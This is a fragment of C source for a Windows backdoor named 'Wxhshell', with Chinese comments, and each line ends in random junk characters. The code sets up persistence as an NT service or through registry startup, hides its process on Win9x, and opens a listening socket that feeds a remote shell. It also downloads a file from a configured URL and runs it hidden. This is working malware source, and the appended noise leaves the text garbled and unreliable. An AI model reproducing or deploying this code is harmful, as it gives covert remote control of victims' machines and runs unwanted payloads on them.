ULONG InheritedFromUniqueProcessId; p]gT&[iJ
} PROCESS_BASIC_INFORMATION; :E_a0!'
j,-C{ K
PROCNTQSIP NtQueryInformationProcess; veh
5}2
}*wLEa
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {^ec(EsO#
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k$7Z^~?Fz
T0QvnIaP
HANDLE hProcess; PlxIfL
PROCESS_BASIC_INFORMATION pbi; "&o,yd%
2xxB\J
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9Sg<K)Mc
if(NULL == hInst ) return 0; >hsuAU.UOR
3vic(^Qh
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F jrINxL7^
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AR&:Q4r|
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +]wuJSxc
q9*MNHg}
if (!NtQueryInformationProcess) return 0; <M+R\SH-
CboLH0Fa
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !!,0'c
if(!hProcess) return 0; zr_yO`{
/bVZ::A&_
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k2^ a$k}
}SfbCa)UO
CloseHandle(hProcess); bud&R4+
@w9{5D4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FQsUm?ac:
if(hProcess==NULL) return 0; vzo4g,Bj
&Z^(y}jPr
HMODULE hMod; 9^ed-h
Bf
char procName[255]; #%,RJMv
unsigned long cbNeeded; G=/k>@Di
gwB\<rzG
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); msx-O=4g
+Ic ~ f1zh
CloseHandle(hProcess); k5BXirB
9";sMB}W*
if(strstr(procName,"services")) return 1; // 以服务启动 MXp3g@Cz
}F=^O[
return 0; // 注册表启动 IQ!Fv/I<
} :7.Me;RA
a:rX9-**
// 主模块 %5'6Tj
int StartWxhshell(LPSTR lpCmdLine) ^krk&rW3
{ t'qL[r%?
SOCKET wsl; q0xjA
BOOL val=TRUE; &%=D \YzG
int port=0; 7'p8a<x
struct sockaddr_in door; 0BU=)Swku
ja=w5
if(wscfg.ws_autoins) Install(); :z"!kzdJ
#?O&
port=atoi(lpCmdLine); 9(_{`2R8
*|:Q%xr-
if(port<=0) port=wscfg.ws_port; 7L(eh7
J
m{
WSADATA data; Ve 3 ;
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n(ir[w#,]"
EMvHFu
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ,XKCz ]8V
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sH#X0fG
door.sin_family = AF_INET; _=f=f cl
door.sin_addr.s_addr = inet_addr("127.0.0.1"); : 3ZYJW1
door.sin_port = htons(port); b'p4wE>
"jg@w%~
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +b$S~0n
closesocket(wsl); #CUzuk&
return 1; QV|>4 ^1D
} 1+kE!2b;b
C"uahP[Y
if(listen(wsl,2) == INVALID_SOCKET) { Y$
Fj2nk+
closesocket(wsl); .8gl< vX
return 1; f i~I@KJ>
} !kuX,*}q
Wxhshell(wsl); /8yn vhF#
WSACleanup(); QrYa%D+
0JyVNuHn
return 0; HM[klH]s=
]1`g^Z@ 0
}
WY
</zXA$m
// 以NT服务方式启动 Yg|lq9gD
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -#:zsu
{ jQs>`P-CM
DWORD status = 0; (#\pQ51
DWORD specificError = 0xfffffff; TV59(bG.2
7N8H)X
serviceStatus.dwServiceType = SERVICE_WIN32; J1ON,&[J
serviceStatus.dwCurrentState = SERVICE_START_PENDING; BzJ;%ywS
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .giz=*q+
serviceStatus.dwWin32ExitCode = 0; .)XP\m\
serviceStatus.dwServiceSpecificExitCode = 0; ^-)txC5{T
serviceStatus.dwCheckPoint = 0; GRqT-/n"
serviceStatus.dwWaitHint = 0; 77 r(*.O|
vG.9H_&
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T3%C%BcX
if (hServiceStatusHandle==0) return; k\)Cw
0Rn+`UnwB
status = GetLastError(); h:bru:ef
if (status!=NO_ERROR) L{{CAB!
{ d3Di/Iej
serviceStatus.dwCurrentState = SERVICE_STOPPED; s Kicn5
serviceStatus.dwCheckPoint = 0; T Eu'*>g
serviceStatus.dwWaitHint = 0; /1w2ehE<
serviceStatus.dwWin32ExitCode = status; :\
QUs}
serviceStatus.dwServiceSpecificExitCode = specificError; 1QqHF$S
SetServiceStatus(hServiceStatusHandle, &serviceStatus); cW8\d
return; F'm(8/A$
} i{c@S:&@^
;az5ZsvN
D
serviceStatus.dwCurrentState = SERVICE_RUNNING; xG2+(f#C1
serviceStatus.dwCheckPoint = 0; _D7 ]-3uC!
serviceStatus.dwWaitHint = 0; &K+0xnUH
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Vy<HA*
} A
Io|TD5{~
Q%S9fq,q
// 处理NT服务事件,比如:启动、停止 jvy$t$az
VOID WINAPI NTServiceHandler(DWORD fdwControl) H6TD@kL9Wr
{ v4/-b4ET
switch(fdwControl) ]bdFr/!'S+
{ "`Ge~N[$A
case SERVICE_CONTROL_STOP: e 8\;t"D
serviceStatus.dwWin32ExitCode = 0; Rf-[svA
serviceStatus.dwCurrentState = SERVICE_STOPPED; .4y>QN#VL
serviceStatus.dwCheckPoint = 0; 4-GXmC
serviceStatus.dwWaitHint = 0; [/M^[p
{ E ]9\R
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lv[OUW#S
} 266oTER]v:
return; | t QiFC
case SERVICE_CONTROL_PAUSE: fnKY1y]2+
serviceStatus.dwCurrentState = SERVICE_PAUSED; =3~/:8o
break; u+t$l^S
case SERVICE_CONTROL_CONTINUE: K0pac6]
serviceStatus.dwCurrentState = SERVICE_RUNNING; sM[I4.A3
break; {XurC}#\
case SERVICE_CONTROL_INTERROGATE: BP[|nL
break; ^ZDBO/
}; n.oUVr=nX
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @F*wg
} I751 t
9Z"+?bv/
// 标准应用程序主函数 "6ECgyD+E!
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `Mj}md;O"
{ Sw&!y$ed
0JuD^
// 获取操作系统版本 TJ8E"t*)
OsIsNt=GetOsVer(); 1nknSw#
GetModuleFileName(NULL,ExeFile,MAX_PATH); {:nQl}
,|?CU
r9Y
// 从命令行安装 ]q5`YB%_
if(strpbrk(lpCmdLine,"iI")) Install(); `Hx~UH)
@wmi5oExc
// 下载执行文件 fU3`v\X
if(wscfg.ws_downexe) { BKa-
k!
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |! SOG
WinExec(wscfg.ws_filenam,SW_HIDE); b^c9po
} Scm36sT{
&hIRd,1#
if(!OsIsNt) { bAk&~4Y_"
// 如果时win9x,隐藏进程并且设置为注册表启动 Z=5qX2fy1*
HideProc(); o_M.EZO
StartWxhshell(lpCmdLine); ?jQ](i&
} :p&!RI(l
else >kZ57,
if(StartFromService()) qB]i6*
// 以服务方式启动 /.Nov
StartServiceCtrlDispatcher(DispatchTable); fQK"h
else /2M.~3gQ
// 普通方式启动 rx"s!y{!-
StartWxhshell(lpCmdLine); RF!a//
iZ3W"Vd`b
return 0; ,B<l
}